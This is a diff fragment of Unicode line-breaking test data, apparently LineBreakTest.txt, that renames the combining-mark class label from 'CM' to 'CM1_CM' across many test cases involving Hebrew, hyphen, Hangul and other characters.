+× 05D0 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 05D0 × 200D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 05D0 × 0020 ÷ 200D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 05D0 × 0308 × 200D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 200D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 05D0 × 00A7 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 05D0 × 0020 ÷ 00A7 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 05D0 × 0308 × 00A7 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 05D0 × 0308 × 00A7 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 05D0 × 50005 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 05D0 × 0020 ÷ 50005 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 05D0 × 0308 × 50005 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 05D0 × 0308 × 50005 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 05D0 × 0E01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 05D0 × 0020 ÷ 0E01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 05D0 × 0308 × 0E01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 05D0 × 0308 × 0E01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 05D0 × 3041 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 05D0 × 0020 ÷ 3041 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 05D0 × 0308 × 3041 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 05D0 × 0308 × 3041 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 002D ÷ 0023 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 002D × 0020 ÷ 0023 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 002D × 0308 ÷ 0023 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 002D × 0308 ÷ 0023 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 002D ÷ 2014 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 002D × 0020 ÷ 2014 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 002D × 0308 ÷ 2014 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 002D × 0308 ÷ 2014 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 002D × 0009 ÷ # × [0.3] HYPHEN-MINUS (HY) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 002D × 0020 ÷ 0009 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 002D × 0308 × 0009 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 002D × 0308 × 0009 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 002D ÷ 00B4 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 002D × 0020 ÷ 00B4 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 002D × 0308 ÷ 00B4 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 002D × 0308 ÷ 00B4 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 002D × 000B ÷ # × [0.3] HYPHEN-MINUS (HY) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 002D × 0020 × 000B ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 002D × 0308 × 000B ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 002D × 0308 × 0020 × 000B ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 002D × 0308 × 000B ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 002D × 0308 × 0020 × 000B ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 002D ÷ FFFC ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 002D × 0020 ÷ FFFC ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 002D × 0308 ÷ FFFC ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 002D × 0308 ÷ FFFC ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 002D × 007D ÷ # × [0.3] HYPHEN-MINUS (HY) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 002D × 0020 × 007D ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 002D × 0308 × 007D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 002D × 0308 × 0020 × 007D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 002D × 0308 × 007D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 002D × 0308 × 0020 × 007D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 002D × 0029 ÷ # × [0.3] HYPHEN-MINUS (HY) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 002D × 0020 × 0029 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 002D × 0308 × 0029 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 002D × 0308 × 0020 × 0029 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 002D × 0001 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 002D × 0020 ÷ 0001 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 002D × 0308 × 0001 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 002D × 0308 × 0029 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 002D × 0308 × 0020 × 0029 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 002D × 000D ÷ # × [0.3] HYPHEN-MINUS (HY) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 002D × 0020 × 000D ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 002D × 0308 × 000D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 002D × 0308 × 0020 × 000D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 002D × 0308 × 000D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 002D × 0308 × 0020 × 000D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 002D × 0021 ÷ # × [0.3] HYPHEN-MINUS (HY) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 002D × 0020 × 0021 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 002D × 0308 × 0021 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 002D × 0308 × 0020 × 0021 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 002D × 0308 × 0021 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 002D × 0308 × 0020 × 0021 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 002D ÷ 00A0 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 002D × 0020 ÷ 00A0 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 002D × 0308 ÷ 00A0 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 002D × 0308 ÷ 00A0 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 002D ÷ AC00 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 002D × 0020 ÷ AC00 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 002D × 0308 ÷ AC00 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 002D × 0308 ÷ AC00 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 002D ÷ AC01 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 002D × 0020 ÷ AC01 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 002D × 0308 ÷ AC01 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 002D × 0308 ÷ AC01 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 002D ÷ 05D0 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 002D × 0020 ÷ 05D0 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 002D × 0308 ÷ 05D0 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 002D × 0308 ÷ 05D0 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 002D × 002D ÷ # × [0.3] HYPHEN-MINUS (HY) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 002D × 0020 ÷ 002D ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 002D × 0308 × 002D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 002D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 002D × 0308 × 002D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 002D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 002D ÷ 231A ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 002D × 0020 ÷ 231A ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 002D × 0308 ÷ 231A ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 231A ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 002D × 0308 ÷ 231A ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 231A ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 002D ÷ 2024 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 002D × 0020 ÷ 2024 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 002D × 0308 ÷ 2024 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 002D × 0308 ÷ 2024 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 002D × 002C ÷ # × [0.3] HYPHEN-MINUS (HY) × [13.02] COMMA (IS) ÷ [0.3]
× 002D × 0020 × 002C ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 002D × 0308 × 002C ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 002D × 0308 × 0020 × 002C ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 002D × 0308 × 002C ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 002D × 0308 × 0020 × 002C ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 002D ÷ 1100 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 002D × 0020 ÷ 1100 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 002D × 0308 ÷ 1100 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 002D × 0308 ÷ 1100 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 002D ÷ 11A8 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
